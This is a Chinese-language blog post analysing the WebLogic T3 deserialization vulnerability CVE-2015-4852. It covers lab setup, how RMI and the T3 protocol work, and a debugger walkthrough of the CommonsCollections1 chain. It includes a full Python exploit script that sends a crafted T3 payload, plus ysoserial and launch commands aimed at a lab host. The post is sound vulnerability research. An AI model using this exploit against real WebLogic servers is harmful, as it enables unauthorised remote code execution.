weblogic之cve-2015-4852

前言

有时间打算分析weblogic历史漏洞，但是又要面试啥的，没空。又刚好最近面试会问weblogic反序列化。具体啥时候分析weblogic反序列化，可能会在护网后，或者我开学了再分析。期间可能我会分析一下fastjson的吧。环境我都打包到附件中

0x01、环境搭建

不想动手去下载的，可以去网盘这边，我已经打包好了
链接：https://pan.baidu.com/s/1bOo82tAIC0ia95Z0nKQp5w
提取码：1234
复制这段内容后打开百度网盘手机App，操作更方便哦

漏洞环境：https://github.com/QAX-A-Team/WeblogicEnvironment

jdk：https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic：

链接：https://pan.baidu.com/s/1I3FUCkuD7lfwdEFo1Yg5hQ
提取码：ungx

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试

docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
也可以使用如下命令
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ ;

这边就导出成功了

0x02、Weblogic远程调试

第一步

修改docker-compose.yml文件，开启8453端口

第二步

cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/
vi setDomainEnv.sh 

添加两行代码

debugFlag="true"

export debugFlag 

这个环境是默认就有了，所以这边只是讲一下

最后差不多就这样了，还有其他地方就参考网上文章，我就不一一讲解了

docker exec -it weblogic1036jdk7u21 /bin/bash //进入docker

地址为：http://192.168.92.130:7001/console/login/LoginForm.jsp

0x03、RMI通信

在了解RMI前还需要弄懂一些概念。

RMI(RemoteMethodInvocation，远程方法调用)是用Java在JDK1.2中实现的，它大大增强了Java开发分布式应用的能力。

Java本身对RMI规范的实现默认使用的是JRMP协议，也可以选择IIOP协议。而在Weblogic中对RMI规范的实现使用T3协议。

JRMP：JavaRemoteMessageProtocol，Java远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写，就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。

​ RMI(Remote Method Invocation)即Java远程方法调用，RMI用于构建分布式应用程序，RMI实现了Java程序之间跨JVM的远程通信。顾名思义，远程方法调用：客户端比如说是在手机，然后服务端是在电脑；同时都有java环境，然后我要在手机端调用服务端那边的某个方法，这就是，远程方法调用；

​ 使用RMI的时候，客户端对远程方法的调用就跟对同一个Java虚拟机（也就是本地）上的方法调用是一样的。一般调用和RMI调用有一点不同，虽然对客户端来说看起来像是本地的，但是客户端的stub会通过网络发出调用，所以会抛出异常；其中还是会涉及到Socket和串流的问题，一开始是本地调用，然后就代理（stub）会转成远程，中间的信息是如何从Java虚拟机发送到另外一台Java虚拟机要看客户端和服务端的辅助设施对象所用的协议而定；使用RMI的时候，需要选择协议：JRMP或IIOP协议；JRMP是RMI的原生的协议，也就是默认JRMP协议。而IIOP是为了CORBA而产生的~~~

远程方法调用，具体怎么实现呢？

远程服务器提供具体的类和方法，本地会通过某种方式获得远程类的一个代理，然后通过这个代理调用远程对象的方法，方法的参数是通过序列化与反序列化的方式传递的，所以，

1. 只要服务端的对象提供了一个方法，这个方法接收的是一个Object类型的参数
2. 且远程服务器的classpath中存在可利用pop链，那么我们就可以通过在客户端调用这个方法，并传递一个精心构造的对象的方式来攻击rmi服务。

某种方式获得远程对象的代理，那么具体是怎么的实现机制呢？RMI模式中除了有Client与Server,还借助了一个Registry(注册中心)。

其中Server与Registry可以在同一服务器上实现，也可以布置在不同服务器上，现在一个完整的RMI流程可以大概描述为：

1. Registry先启动，并监听一个端口，一般为1099
2. Server向Registry注册远程对象
3. Client从Registry获得远程对象的代理（这个代理知道远程对象的在网络中的具体位置：ip、端口、标识符），然后Client通过这个代理调用远程方法，Server也是有一个代理的，Server端的代理会收到Client端的调用的方法、参数等，然后代理执行对应方法，并将结果通过网络返回给Client。

直接看图，话不多说

RMI调用远程方法的大致如下：

1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。
2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
3. RemoteCall序列化RMI服务名称、Remote对象。
4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
7. Skeleton处理客户端请求：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到客户端。
8. RMI客户端反序列化服务端结果，获取远程对象的引用。

而更通俗点来说：

1. 客户端请求代理
2. Stub编码处理消息
3. 消息传输
4. 到达管家skeleton并处理信息
5. 管家skeleton把信息提交给server
6. server接收到请求
7. server把请求的结果给管家
8. 管家skeleton把结果转交给stub
9. 代理Stub对结果解码
10. Stub把解码的结果交给client。

具体可以参考该文章RMI由浅入深(一)，那么我们知道了什么是RMI通信。RMI就是对服务器上的方法进行调用。那么weblogic上的RMI呢，在此处的cve-2015-4852是基于RMI T3协议反序列化导致的漏洞。两者有什么区别吗？

两者其实是一样的。只是weblogic这边的rmi通信用T3协议，只是优化了java rmi。T3传输协议是WebLogic的自有协议，Weblogic RMI就是通过T3协议传输的（可以理解为序列化的数据载体是T3）。

Java RMI默认使用的专有传输协议（或者也可以叫做默认协议）是JRMP，Weblogic RMI默认使用的传输协议是T3。T3协议对序列化的过程，包括一些特性，心脏跳动等等，进行了一些列优化，并且对rmi客户端量进行了增加等等

0x04、从历史长河探究cve-2015-4852

摘取一张图，具体从哪里拿的，我也给忘记了，翻阅了太多文章了。可以看出这个cve-2015-4852是这些的祖宗。那我们从这个祖宗开始分析。从漏洞类型这边看，我们知道这个是T3反序列化漏洞，也就是说，是因为T3协议，从而导致的反序列化漏洞；那我们无可避免的去看看T3协议是什么东西

1、T3协议概述

WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序（包括客户端及其他 WebLogic Server 实例）间传输数据。同时T3协议包括

1. 请求包头
2. 请求主体

因此，在T3数据包构造过程中，需要发送两部分的数据。

我们通过部署好的环境，以及现成的payload，去看看这个协议包情况

2、T3协议

t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001

可以看出这是它的请求头。，本文测试时发送的T3协议头为

t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001


第一行为“t3”加weblogic客户端的版本号。

weblogic服务器的返回数据为

HELO:10.3.6.0.false
AS:2048
HL:19


第一行为“HELO:”加weblogic服务器的版本号

weblogic客户端与服务器发送的数据均以“ ”结尾。

可能会问这个地方和其他地方的T3协议怎么不一样？因为我用的exp中，它是伪造自定义了请求包的。可参考文章。

也就是说，如何判断对方是否使用T3协议等等，可以对服务器进行发包，发送请求头，对方则会返回weblogic服务器版本

3、T3攻击方式

• 第一种：将weblogic发送的java序列化数据的地2到第7部分的反序列化数据进行替换

• 第二种：将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。也就是替换第一部分的数据

以上来自网上文献：http://drops.xmd5.com/static/drops/web-13470.html

那么我们就来验证一下，由于我此处是现成exp，所以进行替换序列化数据进行攻击的时候，可能数量不一样

也就是说，我们的发送的T3协议，可以简单的理解为两部分：非序列化数据，和序列化数据。而序列化部分又以ac ed继续进行划分

0x05、cve-2015-4852 分析

现在我们理论概念了解的差不多了，我们这边就验证一下序列化内容是否跟我们猜想的一致

python exp代码:

#!/usr/bin/python 
import socket
import struct
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
server_address = (sys.argv[1], int(sys.argv[2])) 
print 'connecting to %s port %s' % server_address 
sock.connect(server_address) 

# Send headers 
headers='t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001

' 
print 'sending "%s"' % headers 
sock.sendall(headers) 

data = sock.recv(1024) 
print >>sys.stderr, 'received "%s"' % data 
payloadObj = open(sys.argv[3],'rb').read() 

payload='x00x00x09xe4x01x65x01xffxffxffxffxffxffxffxffx00x00x00x71x00x00xeax60x00x00x00x18x43x2exc6xa2xa6x39x85xb5xafx7dx63xe6x43x83xf4x2ax6dx92xc9xe9xafx0fx94x72x02x79x73x72x00x78x72x01x78x72x02x78x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x70x70x70x70x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x06xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x03x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x03x78x70x77x02x00x00x78xfex01x00x00' 
payload=payload+payloadObj 
payload=payload+'xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x21x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x65x65x72x49x6ex66x6fx58x54x74xf3x9bxc9x08xf1x02x00x07x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x5bx00x08x70x61x63x6bx61x67x65x73x74x00x27x5bx4cx77x65x62x6cx6fx67x69x63x2fx63x6fx6dx6dx6fx6ex2fx69x6ex74x65x72x6ex61x6cx2fx50x61x63x6bx61x67x65x49x6ex66x6fx3bx78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex56x65x72x73x69x6fx6ex49x6ex66x6fx97x22x45x51x64x52x46x3ex02x00x03x5bx00x08x70x61x63x6bx61x67x65x73x71x00x7ex00x03x4cx00x0ex72x65x6cx65x61x73x65x56x65x72x73x69x6fx6ex74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx00x12x76x65x72x73x69x6fx6ex49x6ex66x6fx41x73x42x79x74x65x73x74x00x02x5bx42x78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x71x00x7ex00x05x4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x05x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x05x78x70x77x02x00x00x78xfex00xffxfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x46x21x00x00x00x00x00x00x00x00x00x09x31x32x37x2ex30x2ex31x2ex31x00x0bx75x73x2dx6cx2dx62x72x65x65x6ex73xa5x3cxafxf1x00x00x00x07x00x00x1bx59xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx00x78xfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x1dx01x81x40x12x81x34xbfx42x76x00x09x31x32x37x2ex30x2ex31x2ex31xa5x3cxafxf1x00x00x00x00x00x78' 
print 'sending payload...' 
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) 

#print len(payload) 

outf = open('pay.tmp','w') 
outf.write(payload) 
outf.close() 
sock.send(payload)

yso生成恶意代码：

java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp

python2 exp.py 192.168.92.130 7001 payload.tmp

根据补丁位置，是在这几个地方进行添加判断，那我们直接在InboundMsgAbbrev#readObject()下断点。因为要rce的话必须要readObject()进行反序列化

wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils

我们在InboundMsgAbbrev类中，Ctrl+f查找readObject，然后在此处下断点。

然后使用exp去发送恶意请求，然后我们去看看断点位置

可以看出这边var1里面存储的是我们请求的内容，然后调用read()方法，赋值给var2.

我们进入read()看看是什么东西

这边为-1，所以会调用父类的read()方法，那么我们看看这个类继承了什么父类

所以我们知道它会跳到ChunkedDataInputStream#read()方法中。我们F7跟进去查看

这边我们可以思考是不是这些序列化数据的大小呢？

因为是false，所以直接跳过这个条件，进入了return；

然后返回给了var2中

此处通过switch对var2值进行判断，此处为0，所以进入了第一个条件语句

return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();

那么我们先进入InboundMsgAbbrev#ServerChannelInputStream()中查看虚实

进入后，继续深入getServerChannel()

this.connection之中存储着一些连接的数据，如地址，端口等等，然后调用getChannel()，这边是处理T3协议的socket地方；我们F7跟进查看

我们进入之后可以看到还有静态代码块，而这静态代码块则是服务器返回过来的版本，我们继续看看

随后会return 回这串地址，端口信息。我们再f8返回

我们跳了三层，返回到之前的路口点，那么接下来我们就是进入InboundMsgAbbrev#readObject()中

此处我们跳到了read()当中，因为前面的不重要，我们也不需要深究了

这边再次进入到父类中的read()方法中，我们依旧进入到了ChunkedInputStream# read()，该方法主要是读取head数据也就是我们发送的包

随后继续返回到了上一步

几次的F7和F8后，进入了read(byte[] var1, int var2, int var3)中

因为条件不成立，所以继续进入return当中，我们F7跟进

往后执行，可以发现这几个方法是对数据流进行分块处理，将序列化部分分块，依次解析每块的类，然后去执行

我们直接在InboundMsgAbbrev#resolveClass()方法下个断点，而此处，也就是打补丁的地方，此处打上补丁，从而出现了cve-2016-0638；这是后话。而我们看到了AnnotationInvocationHandler。这不就是CC1中的反序列化入口点吗，我们进入看看

可以看到一个很有意思的地方，那就是Class.forname()，通过反射获取加载指定的类。

而这之后执行，我们可以发现这些获取的都是CC1利用链中所需要的类。这就很有意思了~~

F9不断的执行结束后可以发现，这边创建了该文件。那么我们重新发包一下，直到遇到java.lang.Override不按F9了。我们直接F7一步步慢慢的看

我们可以看到这不就是CC1链中的触发方法吗？？这里就很佩服大佬们了

0x05 漏洞原理与总结

从入口点开始weblogic.rjvm.InboundMsgAbbrev#readObject方法开始。通过read()方法，读取T3数据流的序列化部分依次分块解析类。InboundMsgAbbrev#resolveClass()内部使用Class.forName来从类序列化获取到对应类的一个Class的对象。进行相对应的点实例化并读取了AnnotationInvocationHandler触发了此处CC1的利用链。最后在AbstractMapDecorator#entrySet()方法触发，达到了rce目的。此漏洞之后有必要再看看，咳咳